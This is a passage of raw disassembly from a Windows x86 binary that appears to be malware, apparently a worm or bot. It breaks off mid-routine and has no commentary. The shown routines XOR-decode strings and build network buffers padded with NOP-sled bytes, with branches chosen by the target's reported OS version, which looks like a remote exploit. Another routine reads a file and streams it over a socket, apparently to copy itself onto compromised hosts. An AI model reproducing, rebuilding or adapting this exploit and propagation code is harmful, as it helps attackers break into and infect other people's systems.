ecx, byte ptr [ecx+2] shl ecx, 10h or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+3] shl ecx, 18h or eax, ecx mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax jmp short loc_410253 ; --------------------------------------------------------------------------- locret_4102AC: ; CODE XREF: sub_410244+25j leave retn sub_410244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4102AE proc near ; CODE XREF: .data:004168D0p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0F0000000h push 1 push 0 push 0 lea eax, [ebp+var_4] push eax call dword_417024 ; CryptAcquireContextA push offset dword_41EADC push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EAE0 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EAE4 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EAE8 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push 0 push [ebp+var_4] call dword_41701C ; CryptReleaseContext leave retn sub_4102AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410318 proc near ; CODE XREF: sub_4103F5+6p ; sub_410422+6p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi lock xadd dword_41EADC, eax add eax, ebx lock xadd dword_41EAE0, eax add eax, ecx lock xadd dword_41EAE4, eax add eax, edx lock xadd dword_41EAE8, eax add eax, esi lock xadd dword_41EADC, eax add eax, edi lock xadd dword_41EAE0, eax add eax, ebp lock xadd dword_41EAE4, eax add eax, esp lock xadd dword_41EAE8, eax call sub_416B64 ; clock mov [ebp+var_4], eax mov eax, [ebp+var_4] lock xadd dword_41EADC, eax lock xadd dword_41EAE0, eax lock xadd dword_41EAE4, eax lock xadd dword_41EAE8, eax add ecx, ebx ror ebx, cl lock xadd dword_41EAE4, ebx add ecx, ecx ror ecx, cl lock xadd dword_41EAE0, ecx add ecx, edx ror edx, cl lock xadd dword_41EADC, edx rol eax, cl add ecx, eax ror ebx, cl add ecx, ebx ror ecx, cl add ecx, 211h rol edx, cl add ecx, edx lock xadd dword_41EAE8, edx lock xadd dword_41EAE4, ecx lock xadd dword_41EAE0, ebx lock xadd dword_41EADC, eax pop edi pop esi pop ebx leave retn sub_410318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103F5 proc near ; CODE XREF: sub_4020C2+10Bp ; sub_4040E8+2Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE8, eax mov ecx, [ebp+arg_4] sub ecx, [ebp+arg_0] xor edx, edx inc ecx div ecx mov eax, edx add eax, [ebp+arg_0] pop edi pop esi pop ebx pop ebp retn sub_4103F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410422 proc near ; CODE XREF: sub_40CF2F:loc_40CFBCp ; sub_40D871+D3Fp ... push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE8, eax pop edi pop esi pop ebx pop ebp retn sub_410422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41043F proc near ; CODE XREF: sub_4055E5+715p ; sub_4055E5+78Bp push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE4, eax and eax, 0FFFFh pop edi pop esi pop ebx pop ebp retn sub_41043F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410461 proc near ; CODE XREF: sub_4104A3+42p ; sub_4125DF:loc_4126B8p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE0, eax and eax, 0FFh pop edi pop esi pop ebx pop ebp retn sub_410461 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410483 proc near ; CODE XREF: sub_4055E5+72Bp ; sub_40D7E5+57p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EADC, eax and eax, 1 pop edi pop esi pop ebx pop ebp retn sub_410483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4104A3 proc near ; CODE XREF: sub_40A9CF+D4Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_4104AF jmp short locret_4104FF ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_4104A3+8j mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4104B5: ; CODE XREF: sub_4104A3+34j cmp [ebp+arg_4], 3 jbe short loc_4104D9 call sub_410422 mov ecx, [ebp+var_4] mov [ecx], eax mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax jmp short loc_4104B5 ; --------------------------------------------------------------------------- loc_4104D9: ; CODE XREF: sub_4104A3+16j mov eax, [ebp+var_4] mov [ebp+arg_0], eax loc_4104DF: ; CODE XREF: sub_4104A3+5Aj cmp [ebp+arg_4], 0 jbe short locret_4104FF call sub_410461 mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax jmp short loc_4104DF ; --------------------------------------------------------------------------- locret_4104FF: ; CODE XREF: sub_4104A3+Aj ; sub_4104A3+40j leave retn sub_4104A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410501 proc near ; CODE XREF: sub_403260+36p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_410510 xor eax, eax jmp short locret_41055D ; --------------------------------------------------------------------------- loc_410510: ; CODE XREF: sub_410501+9j cmp [ebp+arg_10], 0 jnz short loc_41051C mov eax, [ebp+arg_4] mov [ebp+arg_10], eax loc_41051C: ; CODE XREF: sub_410501+13j push [ebp+arg_10] push [ebp+arg_4] call sub_4103F5 pop ecx pop ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] mov [ebp+var_4], eax loc_410532: ; CODE XREF: sub_410501+57j cmp [ebp+var_4], 0 jbe short loc_41055A push [ebp+arg_C] push [ebp+arg_8] call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax jmp short loc_410532 ; --------------------------------------------------------------------------- loc_41055A: ; CODE XREF: sub_410501+35j mov eax, [ebp+var_8] locret_41055D: ; CODE XREF: sub_410501+Dj leave retn sub_410501 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41055F proc near ; CODE XREF: .data:004168E1p var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EAF0 call sub_40F26E pop ecx pop ecx lea esi, byte_41EAF0 mov edi, esi push 10h pop ecx loc_41059F: ; CODE XREF: sub_41055F+47j lodsb or eax, 80h stosb loop loc_41059F pop edi pop esi pop ebx leave retn sub_41055F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105AD proc near ; CODE XREF: sub_406E8E+C6p ; sub_406E8E+14Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jle short loc_4105BE jmp short locret_4105F9 ; --------------------------------------------------------------------------- loc_4105BE: ; CODE XREF: sub_4105AD+Dj and [ebp+var_4], 0 jmp short loc_4105CB ; --------------------------------------------------------------------------- loc_4105C4: ; CODE XREF: sub_4105AD+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4105CB: ; CODE XREF: sub_4105AD+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_4105F9 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EAF0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4105C4 ; --------------------------------------------------------------------------- locret_4105F9: ; CODE XREF: sub_4105AD+Fj ; sub_4105AD+29j leave retn sub_4105AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105FB proc near ; CODE XREF: sub_401000+4Ap ; sub_4043E9+1Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jg short loc_41060C jmp short locret_410647 ; --------------------------------------------------------------------------- loc_41060C: ; CODE XREF: sub_4105FB+Dj and [ebp+var_4], 0 jmp short loc_410619 ; --------------------------------------------------------------------------- loc_410612: ; CODE XREF: sub_4105FB+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410619: ; CODE XREF: sub_4105FB+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_410647 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EAF0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_410612 ; --------------------------------------------------------------------------- locret_410647: ; CODE XREF: sub_4105FB+Fj ; sub_4105FB+29j leave retn sub_4105FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410649 proc near ; DATA XREF: .data:off_41CCFEo var_1B78 = dword ptr -1B78h var_1B74 = byte ptr -1B74h var_B74 = byte ptr -0B74h var_B6C = dword ptr -0B6Ch var_B64 = dword ptr -0B64h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = byte ptr -36Ch var_280 = byte ptr -280h var_276 = byte ptr -276h var_272 = byte ptr -272h var_23A = byte ptr -23Ah var_236 = byte ptr -236h var_232 = byte ptr -232h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1B78h call sub_416BC0 push 48h push offset dword_41A7B0 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410686 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_410686: ; CODE XREF: sub_410649+36j push 0 push 1000h lea eax, [ebp+var_1B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call dword_417248 ; recv push 7 push offset dword_41A7A8 mov eax, [ebp+arg_0] push dword ptr [eax+2Ah] mov eax, [ebp+arg_0] add eax, 146h push eax mov eax, [ebp+arg_0] add eax, 0C6h push eax mov eax, [ebp+arg_0] push dword ptr [eax+0C2h] push 200h lea eax, [ebp+var_200] push eax call sub_4125DF add esp, 20h mov [ebp+var_370], eax cmp [ebp+var_370], 0 jnz short loc_4106F0 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_4106F0: ; CODE XREF: sub_410649+A0j and [ebp+var_374], 0 jmp short loc_410706 ; --------------------------------------------------------------------------- loc_4106F9: ; CODE XREF: sub_410649+E1j mov eax, [ebp+var_374] inc eax mov [ebp+var_374], eax loc_410706: ; CODE XREF: sub_410649+AEj cmp [ebp+var_374], 168h jge short loc_41072C push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_374] mov [ebp+ecx+var_36C], al jmp short loc_4106F9 ; --------------------------------------------------------------------------- loc_41072C: ; CODE XREF: sub_410649+C7j push 0Ah push offset loc_41A8A0 lea eax, [ebp+var_280] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset loc_41A8F0 lea eax, [ebp+var_276] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset loc_41A8E8 lea eax, [ebp+var_272] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset loc_41A8EC lea eax, [ebp+var_23A] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push (offset loc_41A8E3+1) lea eax, [ebp+var_236] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0Bh push offset loc_41A894 lea eax, [ebp+var_232] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E6h sub eax, [ebp+var_370] mov [ebp+var_204], eax and [ebp+var_1B78], 0 push 18h push offset dword_41A7FC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 18h mov [ebp+var_1B78], eax push 44h push offset dword_41A818 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 44h mov [ebp+var_1B78], eax push 20h push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 20h mov [ebp+var_1B78], eax push 4 push offset loc_41A8AC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset loc_41A8E0 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset dword_41A8D8 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset loc_41A8DC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 58h push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 58h mov [ebp+var_1B78], eax push 6 push offset loc_41A8B4 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 6 mov [ebp+var_1B78], eax push 8 push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 8 mov [ebp+var_1B78], eax push 4 push offset loc_41A8BC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 6 push offset loc_41A8C4 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 6 mov [ebp+var_1B78], eax push [ebp+var_204] push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, [ebp+var_204] mov [ebp+var_1B78], eax push [ebp+var_370] lea eax, [ebp+var_200] push eax mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, [ebp+var_370] mov [ebp+var_1B78], eax push 168h lea eax, [ebp+var_36C] push eax mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 168h mov [ebp+var_1B78], eax push 0Ah push offset off_41A8CC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 0Ah mov [ebp+var_1B78], eax push 32h push offset dword_41A860 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 32h mov [ebp+var_1B78], eax mov eax, [ebp+var_1B78] mov [ebp+var_B6C], eax mov eax, [ebp+var_1B78] sub eax, 18h mov [ebp+var_B64], eax push [ebp+var_1B78] lea eax, [ebp+var_B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410B36 jmp short locret_410B50 ; --------------------------------------------------------------------------- loc_410B36: ; CODE XREF: sub_410649+4E9j push 0 push 1000h lea eax, [ebp+var_1B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call dword_417248 ; recv locret_410B50: ; CODE XREF: sub_410649+38j ; sub_410649+A2j ... leave retn sub_410649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B52 proc near ; DATA XREF: .data:0041CD38o var_104C = byte ptr -104Ch var_FC6 = byte ptr -0FC6h var_BDE = byte ptr -0BDEh var_B9E = byte ptr -0B9Eh var_B7C = dword ptr -0B7Ch var_B78 = byte ptr -0B78h var_AF2 = byte ptr -0AF2h var_88E = byte ptr -88Eh var_882 = byte ptr -882h var_85E = byte ptr -85Eh var_852 = byte ptr -852h var_82E = byte ptr -82Eh var_80C = byte ptr -80Ch var_7CC = byte ptr -7CCh var_7C8 = byte ptr -7C8h var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 104Ch call sub_416BC0 push 7 push offset dword_41A7A8 mov eax, [ebp+arg_0] push dword ptr [eax+2Ah] mov eax, [ebp+arg_0] add eax, 146h push eax mov eax, [ebp+arg_0] add eax, 0C6h push eax mov eax, [ebp+arg_0] push dword ptr [eax+0C2h] push 200h lea eax, [ebp+var_204] push eax call sub_4125DF add esp, 20h mov [ebp+var_20C], eax cmp [ebp+var_20C], 0 jnz short loc_410BAF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BAF: ; CODE XREF: sub_410B52+56j push 89h push offset dword_41AF50 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410BEF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BEF: ; CODE XREF: sub_410B52+96j push 0A8h push offset dword_41AFDC mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C2F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C2F: ; CODE XREF: sub_410B52+D6j push 0DEh push offset dword_41B088 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C6F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C6F: ; CODE XREF: sub_410B52+116j movsx eax, [ebp+var_7CC] sub eax, 30h mov [ebp+var_208], al movsx eax, [ebp+var_7C8] sub eax, 30h mov [ebp+var_4], al push 3Eh push offset dword_41B168 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410CC9 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410CC9: ; CODE XREF: sub_410B52+170j push 60h push offset dword_41B1A8 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D06 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D06: ; CODE XREF: sub_410B52+1ADj push 0A0h push offset dword_41B20C mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D46 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D46: ; CODE XREF: sub_410B52+1EDj movsx eax, [ebp+var_208] cmp eax, 5 jnz loc_410E71 movsx eax, [ebp+var_4] cmp eax, 1 jnz loc_410E71 push 86h push offset dword_41B2B0 lea eax, [ebp+var_B78] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_20C] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_AF2] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0 mov eax, 264h sub eax, [ebp+var_20C] add eax, 60h push eax mov eax, [ebp+var_20C] lea eax, [ebp+eax+var_AF2] push eax call sub_410F60 add esp, 0Ch push 4 push offset dword_41B410 lea eax, [ebp+var_88E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_882] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_85E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_852] push eax call sub_416B52 ; memcpy add esp, 0Ch push 20h push offset dword_41B338 lea eax, [ebp+var_82E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 36Ah lea eax, [ebp+var_B78] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 400h call dword_41709C ; Sleep push 36Ah lea eax, [ebp+var_B78] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410E71: ; CODE XREF: sub_410B52+1FEj ; sub_410B52+20Bj movsx eax, [ebp+var_208] cmp eax, 5 jnz short loc_410E85 movsx eax, [ebp+var_4] test eax, eax jz short loc_410E95 loc_410E85: ; CODE XREF: sub_410B52+329j movsx eax, [ebp+var_208] cmp eax, 4 jnz locret_410F5E loc_410E95: ; CODE XREF: sub_410B52+331j push 86h push offset dword_41B35C lea eax, [ebp+var_104C] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E8h sub eax, [ebp+var_20C] push eax push 90h lea eax, [ebp+var_FC6] push eax call sub_416B6A ; memset add esp, 0Ch push [ebp+var_20C] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_BDE] sub eax, [ebp+var_20C] push eax call sub_416B52 ; memcpy add esp, 0Ch and [ebp+var_B7C], 0 jmp short loc_410F06 ; --------------------------------------------------------------------------- loc_410EF9: ; CODE XREF: sub_410B52+3DAj mov eax, [ebp+var_B7C] inc eax mov [ebp+var_B7C], eax loc_410F06: ; CODE XREF: sub_410B52+3A5j cmp [ebp+var_B7C], 10h jge short loc_410F2E push 4 push offset dword_41B408 mov eax, [ebp+var_B7C] lea eax, [ebp+eax*4+var_BDE] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_410EF9 ; --------------------------------------------------------------------------- loc_410F2E: ; CODE XREF: sub_410B52+3BBj push 20h push offset dword_41B3E4 lea eax, [ebp+var_B9E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4CEh lea eax, [ebp+var_104C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch locret_410F5E: ; CODE XREF: sub_410B52+58j ; sub_410B52+98j ... leave retn sub_410B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F60 proc near ; CODE XREF: sub_410B52+265p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_8], 0 jnz short loc_410FA4 and [ebp+var_4], 0 jmp short loc_410F79 ; --------------------------------------------------------------------------- loc_410F72: ; CODE XREF: sub_410F60+3Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410F79: ; CODE XREF: sub_410F60+10j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_410F9F push 20h push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410F72 ; --------------------------------------------------------------------------- loc_410F9F: ; CODE XREF: sub_410F60+1Fj jmp locret_41102D ; --------------------------------------------------------------------------- loc_410FA4: ; CODE XREF: sub_410F60+Aj cmp [ebp+arg_8], 7Fh jnz short loc_410FDF and [ebp+var_8], 0 jmp short loc_410FB7 ; --------------------------------------------------------------------------- loc_410FB0: ; CODE XREF: sub_410F60+7Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_410FB7: ; CODE XREF: sub_410F60+4Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jnb short loc_410FDD push 5 push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410FB0 ; --------------------------------------------------------------------------- loc_410FDD: ; CODE XREF: sub_410F60+5Dj jmp short locret_41102D ; --------------------------------------------------------------------------- loc_410FDF: ; CODE XREF: sub_410F60+48j and [ebp+var_C], 0 loc_410FE3: ; CODE XREF: sub_410F60+ADj ; sub_410F60+CBj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jnb short locret_41102D push 20h push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_10], al movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_8] and ecx, dword_41BB01[eax] test ecx, ecx jz short loc_41100F jmp short loc_410FE3 ; --------------------------------------------------------------------------- loc_41100F: ; CODE XREF: sub_410F60+ABj movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_C] mov al, byte_41BB00[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_410FE3 ; --------------------------------------------------------------------------- locret_41102D: ; CODE XREF: sub_410F60:loc_410F9Fj ; sub_410F60:loc_410FDDj ... leave retn sub_410F60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41102F proc near ; CODE XREF: sub_41113B+79Bp var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 210h push 0EA60h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_4050EA add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411065 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_41106C loc_411065: ; CODE XREF: sub_41102F+2Bj xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41106C: ; CODE XREF: sub_41102F+34j push offset aRb ; "rb" push offset dword_41EB2C call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_41109F push [ebp+var_204] call sub_4053B1 pop ecx xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41109F: ; CODE XREF: sub_41102F+5Bj ; sub_41102F:loc_41111Cj mov eax, [ebp+var_208] mov eax, [eax+0Ch] and eax, 10h test eax, eax jnz short loc_41111E push [ebp+var_208] push 200h push 1 lea eax, [ebp+var_200] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_20C], eax push [ebp+var_20C] lea eax, [ebp+var_200] push eax push [ebp+var_204] call sub_4053BF add esp, 0Ch mov [ebp+var_210], eax mov eax, [ebp+var_20C] cmp eax, [ebp+var_210] jz short loc_41111C push [ebp+var_204] call sub_4053B1 pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx xor eax, eax jmp short locret_411139 ; --------------------------------------------------------------------------- loc_41111C: ; CODE XREF: sub_41102F+CFj jmp short loc_41109F ; 